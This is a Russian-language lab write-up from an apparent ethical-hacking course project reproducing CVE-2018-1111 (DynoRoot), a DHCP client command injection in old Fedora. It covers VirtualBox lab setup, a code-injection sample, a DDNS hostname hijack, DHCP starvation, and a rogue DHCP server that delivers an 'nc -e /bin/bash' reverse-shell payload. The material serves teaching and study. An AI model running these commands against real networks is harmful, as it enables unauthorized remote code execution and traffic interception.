<!-- omit in toc -->
#### Обычная работа
В нормальных ситуациях код будет работать отлично и распарсит новые опции DHCP. Например, следующий код:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"

declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
  optname=${opt%%=*}
  optname=${optname,,}
  optname=new_${optname#dhcp4_}
  optvalue=${opt#*=}
  echo "export $optname=$optvalue"
done

<!-- omit in toc -->
#### Внедрение кода
Однако из-за небезопасного `eval` существует возможность внедрения команд bash:```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'

eval "$(                             
  declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
  done
)"

### Источники
- [Запись в базе эксплойтов](https://www.exploit-db.com/exploits/44890)
- [Объявление RedHat](https://access.redhat.com/security/vulnerabilities/3442151)
- [Пост в блоге Tenable](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [Репозиторий GitHub](https://github.com/kkirsche/CVE-2018-1111)
- [Объявление в Twitter](https://twitter.com/_fel1x/status/996388421273882626?lang=en)

## Настройка
Минимальная настройка для демонстрации эксплойта состоит всего из двух машин: машины `victim` под управлением Fedora 28 и машины `attacker`. В этой настройке атакующему нужно просто предоставить службу DHCP и дождаться подключения жертвы.

<figure style="text-align:center">
  <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
  <figcaption>Минимальная настройка эксплойта.</figcaption>
</figure>

Более реалистичная настройка разместит машины в частной сети, где третья машина, `gateway`, настроена как доброкачественный DHCP-сервер и как шлюз к внешнему интернету. В этой настройке атакующему необходимо предотвратить подключение жертвы к легитимному DHCP-серверу, прежде чем надеяться выполнить атаку.

<figure style="text-align:center">
  <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
  <figcaption>Настройка частной сети с одной машиной-шлюзом, действующей как DHCP, маршрутизатор и межсетевой экран.</figcaption>
</figure>

В следующих разделах мы:
1. Установим VirtualBox
2. Создадим 3 виртуальные машины: `gateway`, `attacker` и `victim`
3. Установим ОС на машины (пользователи, сеть и доступ по SSH)
4. Настроим шлюз для размещения доброкачественного DHCP-сервера для виртуальной внутренней сети, предоставляемой VirtualBox
5. Установим зависимости Python для атаки

Чтобы [перейти сразу к делу](#performing-the-attack) и пропустить ручную настройку, можно запустить скрипт [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) в папке `ansible`, который (почти) автоматически создаст виртуальные машины и настроит их с помощью [Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html). Просто убедитесь, что Ansible и VirtualBox установлены перед запуском `setup.sh`.

### Предварительные условия

#### Установка VirtualBox
Следующие инструкции взяты из [официального руководства по установке](https://www.virtualbox.org/wiki/Downloads).

Добавьте эту строку в `/etc/apt/sources.list`:```bash
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib

#### Установка Ansible (опционально)
Из [официального руководства для Ubuntu](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu):```bash
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible

Добавьте следующие записи в конфигурацию SSH (`~/.ssh/config`):```
Host gateway.ethhack
  Port 6001
  User gateway   

Host victim.ethhack
  Port 6002
  User victim

Host attacker.ethhack
  Port 6003
  User attacker

Host *.ethhack
  LogLevel ERROR
  HostName localhost
  IdentityFile ~/.ssh/ethhack
  StrictHostKeyChecking no
  UserKnownHostsFile /dev/null

Создайте ВМ:
- Сетевой интерфейс 1 подключён к стандартной сети NAT VirtualBox
- Сетевой интерфейс 2 подключён к внутренней сети `intnet`\
  (буква "d" в MAC-адресе означает DHCP)
- Перенаправление портов с порта `600x` на хосте на SSH-порт виртуальной машины```bash
VM_NAME="gateway"
VRDE_PORT=5001
SSH_PORT=6001
VM_MAC='08:00:dd:dd:dd:dd'

VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
  --memory 2048 \
  --acpi on \
  --boot1 dvd \
  --nic1 nat \
  --nic2 'intnet' \
  --macaddress2 "${VM_MAC//:/}" \
  --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
  --audio none

VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 0 \
  --type hdd \
  --medium "${VM_NAME}.vdi"

VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 1 \
  --type dvddrive \
  --medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"

#### Установка ОС
При первой загрузке машины нам потребуется виртуальный рабочий стол для выполнения шагов установки. Мы
можем запустить виртуальную машину в безголовом режиме и использовать `rdesktop-vrdp` для подключения. Если VirtualBox
запущен на настольном компьютере, возможно, будет проще запустить виртуальную машину из графического интерфейса, но
этот метод будет работать даже с удалённым хостом VirtualBox.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%

#### Вход по SSH
Для удобства доступа мы можем установить созданный выше SSH-ключ на машину `gateway`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
ssh gateway.ethhack

Чтобы включить DHCP на внутреннем интерфейсе, отредактируем `/etc/default/isc-dhcp-server`:```bash
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server

Выбранное время аренды по умолчанию в 1 минуту довольно мало, но оно полезно для демонстрационных целей.

<!--```bash
echo '
authoritative;

default-lease-time 60;
max-lease-time 7200;

subnet 192.168.0.0 netmask 255.255.255.0 {
  range 192.168.0.100 192.168.0.105;
  option domain-name-servers 192.168.0.53;
  option domain-name "100waystocook.pizza.";
}
' | sudo tee /etc/dhcp/dhcpd.conf > /dev/null

sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server

sudo systemctl restart isc-dhcp-server

События DHCP записываются в `/var/log/syslog`. Мы можем выделить соответствующие записи с помощью:```bash
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'

Редактируйте `/etc/bind/named.conf.options`:```bash
echo '
options {
  directory "/var/cache/bind";
  allow-query { any; };
  recursion no;
  listen-on { 192.168.0.53; };
};
' | sudo tee /etc/bind/named.conf.options > /dev/null

Создайте файлы прямой и обратной зоны в папке, доступной только для чтения для bind:```bash
sudo install -o root -g bind -m 755 -d /etc/bind/zones

echo '
$TTL    86400 ; Clients will cache DNS responses for 1 day

@       IN      SOA     dns.100waystocook.pizza. admin.100waystocook.pizza. (
                  3     ; Serial
             604800     ; Refresh (1 week)
              86400     ; Retry   (1 day)
            2419200     ; Expire  (4 weeks)
             604800     ; Negative Cache TTL (4 weeks)
)                       ; The values above are only relevant for secondary DNS servers

; name servers
@       IN      NS      dns.100waystocook.pizza.

; 192.168.0.0/24
dns     IN      A       192.168.0.53
server  IN      A       192.168.0.1
www     IN      CNAME   server
mongo   IN      CNAME   server
' | sudo tee /etc/bind/zones/db.100waystocook.pizza > /dev/null

echo '
$TTL    604800
@       IN      SOA     dns.100waystocook.pizza. admin.100waystocook.pizza. (
                  4     ; Serial
             604800     ; Refresh
              86400     ; Retry
            2419200     ; Expire
             604800 )   ; Negative Cache TTL

; name servers
@     IN      NS      dns.100waystocook.pizza.

; PTR Records
1     IN      PTR     server.100waystocook.pizza.  ; 192.168.0.1
53    IN      PTR     dns.100waystocook.pizza.     ; 192.168.0.53
' | sudo tee /etc/bind/zones/db.192.168.0 > /dev/null

Проверьте, что это работает```bash
dig www.100waystocook.pizza
nslookup www.100waystocook.pizza
systemd-resolve www.100waystocook.pizza

Включите ключ в `/etc/bind/named.conf.local`:```bash
echo "
include '/etc/bind/${KEY_FILE_BIND}';

# Forward zone for 100waystocook.pizza
zone '100waystocook.pizza' {
  type master;
  file '/var/lib/bind/zones-dyn/db.100waystocook.pizza';
  notify no;

  # grant whoever owns the key the permission to update 
  # the A and TXT records for server.100waystocook.pizza.
  update-policy {
    grant ${KEY_NAME} name server.100waystocook.pizza. A TXT;
  };
};

# Reverse zone for 192.168.0.0/24
zone '0.168.192.in-addr.arpa' {
  type master;
  file '/var/lib/bind/zones-dyn/db.192.168.0';
  notify no;

  # grant whoever owns the key the permission to update 
  # the PTR record for IPs in within the reverse zone
  update-policy {
    grant ${KEY_NAME} zonesub PTR;
  };
};
" | tr \' \" | sudo tee /etc/bind/named.conf.local > /dev/null 

Запустить проверки и перезапустить:```bash
sudo named-checkconf
sudo named-checkzone 100waystocook.pizza    /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo named-checkzone 0.168.192.in-addr.arpa /var/lib/bind/zones-dyn/db.192.168.0

sudo systemctl restart bind9

##### Конфигурация DHCP
Настройте DHCP для автоматического обновления записей DNS:```bash
KEY_FILE_DHCP="${KEY_NAME}.key"

# Note: no " in key file
cat > "${KEY_FILE_DHCP}" << EOF
key ${KEY_NAME} {
  algorithm HMAC-SHA512;
  secret ${KEY_SECRET};
};
EOF

sudo install --owner root --group root --mode 0640 "${KEY_FILE_DHCP}" /etc/dhcp/ddns-keys/
rm "${KEY_FILE_DHCP}"

echo "
authoritative;

# https://kb.isc.org/docs/isc-dhcp-44-manual-pages-dhcpdconf
ddns-updates on;
ddns-update-style interim;
ddns-domainname '100waystocook.pizza.';
ddns-rev-domainname '0.168.192.in-addr.arpa.';
update-conflict-detection on;
ddns-guard-id-must-match;
ignore client-updates;

default-lease-time 120;
max-lease-time 7200;

include '/etc/dhcp/ddns-keys/${KEY_FILE_DHCP}';

zone 100waystocook.pizza. {
  primary dns.100waystocook.pizza. ;
  key ${KEY_NAME} ;
}

zone 0.168.192.in-addr.arpa. {
  primary dns.100waystocook.pizza. ;
  key ${KEY_NAME} ;
}

subnet 192.168.0.0 netmask 255.255.255.0 {
  range 192.168.0.1 192.168.0.20;
  option domain-name-servers 192.168.0.53;
  option domain-name '100waystocook.pizza.';
}
" | tr \' \" | sudo tee /etc/dhcp/dhcpd.conf > /dev/null

sudo systemctl restart isc-dhcp-server

Когда запускается другая машина с именем хоста `fedora`, она получает IP-адрес, но не добавляется в DNS из-за `update-policy`:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.6 (192.168.0.53) from 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#42609/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': 
             update failed: rejected by secure update (REFUSED)
dhcpd[1366]: Unable to add forward map from fedora.100waystocook.pizza. to 192.168.0.6: REFUSED

Но если легитимный `server` на некоторое время выходит из строя, его аренда освобождается, а записи удаляются. Тогда злоумышленник может просто проникнуть, указав `server` в качестве имени хоста при начальном DHCP-обмене.```
# DHCP removes DNS records
named[1283]: client @0x7fef30041e40 192.168.0.53#43939/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza A
dhcpd[1366]: Removed forward map from server.100waystocook.pizza. to 192.168.0.3
named[1283]: client @0x7fef30057320 192.168.0.53#46231/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza TXT
named[1283]: client @0x7fef30041e40 192.168.0.53#54069/key ddns-key.100waystocook.pizza: 
             updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR
dhcpd[1366]: Removed reverse map on 3.0.168.192.0.168.192.in-addr.arpa.

# Attacker gets and IP and a DNS entry
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': 
             adding an RR at 'server.100waystocook.pizza' A 192.168.0.2
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza: 
             updating zone '100waystocook.pizza/IN': 
             adding an RR at 'server.100waystocook.pizza' TXT "319dc6047844ea45fdc56373d08413401e"
dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.2
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza: 
             updating zone '0.168.192.in-addr.arpa/IN': 
             deleting rrset at '2.0.168.192.0.168.192.in-addr.arpa' PTR
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza: 
             updating zone '0.168.192.in-addr.arpa/IN': 
             adding an RR at '2.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza.
dhcpd[1366]: Added reverse map from 2.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.

#### OS Install
При первой загрузке машины нам понадобится виртуальный рабочий стол для выполнения шагов установки. Мы можем запустить виртуальную машину в безголовом режиме и использовать `rdesktop-vrdp` для подключения. Если VirtualBox запущен на настольном компьютере, возможно, будет проще запустить виртуальную машину из графического интерфейса, но этот метод будет работать даже с удаленным хостом VirtualBox.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%

#### Вход по SSH
Для удобства доступа мы можем установить созданный выше SSH-ключ на машину `attacker`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub attacker.ethhack
ssh attacker.ethhack

--> [Окружение Conda](https://docs.conda.io/en/latest/) с Scapy:```bash
sudo su
cd
wget 'https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh'
chmod u+x Miniconda3-latest-Linux-x86_64.sh
./Miniconda3-latest-Linux-x86_64.sh -b -p ./miniconda
./miniconda/bin/conda init
source .bashrc

conda create -y -n dynoroot python=3.6
conda activate dynoroot
pip install 'scapy[complete]'

Создайте ВМ:
- Сетевой интерфейс 1 подключен к сети NAT по умолчанию VirtualBox
- Сетевой интерфейс 2 подключен к внутренней сети `intnet`\
  ("f" в MAC-адресе означает Fedora)
- Перенаправление портов с порта `600x` на хосте на порт SSH в виртуальной машине```bash
VM_NAME="fedora"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:ff:ff:ff:ff'

VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
VBoxManage modifyvm "${VM_NAME}" \
  --memory 2048 \
  --acpi on \
  --boot1 dvd \
  --nic1 nat \
  --nic2 'intnet' \
  --macaddress2 "${VM_MAC//:/}" \
  --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
  --audio none

VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 0 \
  --type hdd \
  --medium "${VM_NAME}.vdi"

VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 1 \
  --type dvddrive \
  --medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"

#### Установка ОС
Первый раз при загрузке машины нам понадобится виртуальный рабочий стол для следования шагам установки. Мы
можем запустить виртуальную машину в безголовом режиме и использовать `rdesktop-vrdp` для подключения. Если VirtualBox работает
на настольном компьютере, возможно, проще запустить виртуальную машину через GUI, но
этот метод будет работать даже с удалённым хостом VirtualBox.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 12 # Fedora is slow...
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%

#### SSH Login
Для удобства доступа мы можем установить созданный выше SSH-ключ на машину `victim`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
ssh victim.ethhack

Если нет, его можно настроить с помощью:```
sudo nmcli connection down   enp0s8
sudo nmcli connection modify enp0s8 IPv4.method auto
sudo nmcli connection modify enp0s8 IPv4.address ''
sudo nmcli connection up     enp0s8

## Выполнение атаки

Следующие шаги, выполняемые по порядку, продемонстрируют DHCP-атаку.
Рекомендуется настроить терминальный мультиплексор, например [Byobu](https://www.byobu.org/), чтобы упростить переключение между машинами.

Перед атакой:
1. Запустите 3 виртуальные машины, которые автоматически подключатся к легитимному DHCP-серверу
2. Отключите машину Fedora и очистите файлы аренды DHCP, чтобы имитировать новое подключение
3. Перезапустите DHCP-сервер для имитации нового подключения

Сама атака состоит из:
1. Отправка серии поддельных DHCP REQUEST от атакующего, чтобы _истощить_ легитимный DHCP-сервер
2. Запуск мошеннического DHCP-сервера, который будет отправлять вредоносные OFFER жертве
3. Повторное подключение машины Fedora и ожидание, пока NetworkManager отправит широковещательный DHCP DISCOVER
4. Ожидание подключения обратной оболочки

Если что-то пойдет не так, остановите все соответствующие службы и начните заново.

### Шлюз
Очистите старые аренды DHCP и ARP-таблицу, затем перезапустите DHCP:```bash
sudo systemctl stop isc-dhcp-server
sudo rm /var/lib/dhcp/dhcpd.leases*
sudo ip link set arp off dev enp0s8
sudo ip link set arp on dev enp0s8

sudo systemctl start isc-dhcp-server
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'

Записывайте DHCP-трафик с помощью `tcpdump`:```bash
sudo ip link set enp0s8 promisc on
sudo tcpdump -i enp0s8 -w attack.pcap 'arp or icmp or port 67 or port 68'

Запустите DHCP starvation (запустите от `root`):```
sudo su && cd && conda activate dynoroot
python FEP3370-advanced-ethical-hacking/starver.py \
  --interface  enp0s8 \
  --pool-start 192.168.0.100 \
  --pool-end   192.168.0.105

Запустить атаку (выполнить от имени `root`):```bash
sudo su && cd && conda activate dynoroot
MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
python CVE-2018-1111/main.py \
  -i enp0s8 \
  -s 192.168.0.0/24 \
  -g 192.168.0.1 \
  -d 'victim.net' \
  -m "${MY_MAC}" \
  -p "nc -e /bin/bash ${MY_IP} 1337"

### Анализ

#### Захват видео
Следующее [видео](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/dynoroot.mp4) демонстрирует выполнение атаки в соответствии с приведёнными выше шагами. На видео можно наблюдать:
1. Четырёхэтапный DHCP-обмен между `gateway` и `attacker`
2. Атаку истощения DHCP как в консоли атакующего, так и в журналах DHCP-сервера (обратите внимание на `NACK` из-за существующей аренды атакующего)
3. Сообщение "no free leases" от `gateway`, когда `victim` передаёт широковещательный DHCP-запрос `DISCOVER`
4. Сформированные DHCP-сообщения подставного DHCP-сервера, предлагающего `192.168.0.2`
5. Подтверждение того, что netcat получил обратное соединение оболочки от `192.168.0.2`
6. Поддельные DNS-опции, полученные `victim`, т.е. DNS-адрес `192.168.0.1` и домен `victim.net`
7. Успешное удалённое выполнение простых команд на машине жертвы
8. DHCP-сообщение `RELEASE`, отправленное в конце атаки

<a href="https://youtu.be/rgjMzQ5ExyA">
  <img src="https://assets.kitploit.com/production/public/readmes/23114/de82a8bbb23835dcc4d0836fe7f906d9610b860d02a0e92b903191be840a799c.gif" style="position:relative; left:50%; transform:translateX(-50%); max-width:1000px;" width="90%">
</a>

#### Анализ трафика

Файл [захвата](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/attack.pcap), содержащий след атаки, можно проанализировать в
[Wireshark](https://wiki.wireshark.org/DHCP). В захвате можно отметить:
1. Четырёхэтапный DHCP-обмен между `gateway` и `attacker`
2. Атаку истощения DHCP
3. DHCP-обмен, инициированный `victim` и завершённый `attacker`
4. ARP-запросы _who-has_ и ответы, когда `victim` подключился к netcat-сессии на `attacker`

<figure style="text-align:center">
  <img src="https://assets.kitploit.com/production/public/readmes/23114/4503aa77c165c6b2b669f178171dbea60d054b88b56f5d857918fd257e2c6b94.png" style="max-width:800px;" width="90%"/>
  <figcaption>Захват пакетов атаки, опция DHCP, связанная с эксплойтом, выделена. Буквы в MAC-адресах означают: <code>d</code> DHCP-сервер, <code>a</code> атакующий, <code>f</code> жертва Fedora</figcaption>
</figure>

## Дальнейшие работы
DynoRoot нацелен на старые дистрибутивы Fedora и RedHat, и был исправлен в более новых версиях.
Поэтому шансы на выполнение этого эксплойта в реальных условиях ограничены. К счастью, DHCP-атаки
не ограничиваются удалённым выполнением кода: любой тип сформированной опции будет принят клиентом
независимо от наличия уязвимости DynoRoot. Самый простой способ использовать это поведение —
объявить машину под контролем атакующего в качестве сетевого шлюза или DNS для определённой зоны,
что позволит отслеживать, проверять и перенаправлять любой дальнейший трафик.

Ещё одно интересное направление касается атак истощения DHCP. Атака, представленная в этом проекте,
основана на заливании DHCP-сервера `REQUEST`-ами с поддельных MAC-адресов, что не является
примером скрытности. В этой статье блога исследуется возможность
[выполнения атак истощения без отправки ни одного DHCP-пакета](https://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9)
но с использованием вместо этого поддельных ARP-ответов.

## Благодарности
[CVE-2018-1111](https://access.redhat.com/security/vulnerabilities/3442151) был сообщён в Red Hat
[Felix Wilhelm](https://twitter.com/_fel1x) из команды безопасности Google.

Скрипт на Python для выполнения эксплойта взят из GitHub
[репозитория](https://github.com/kkirsche/CVE-2018-1111) [Kevin Kirsche](https://github.com/kkirsche)
с небольшими изменениями для игнорирования собственного MAC-адреса атакующего.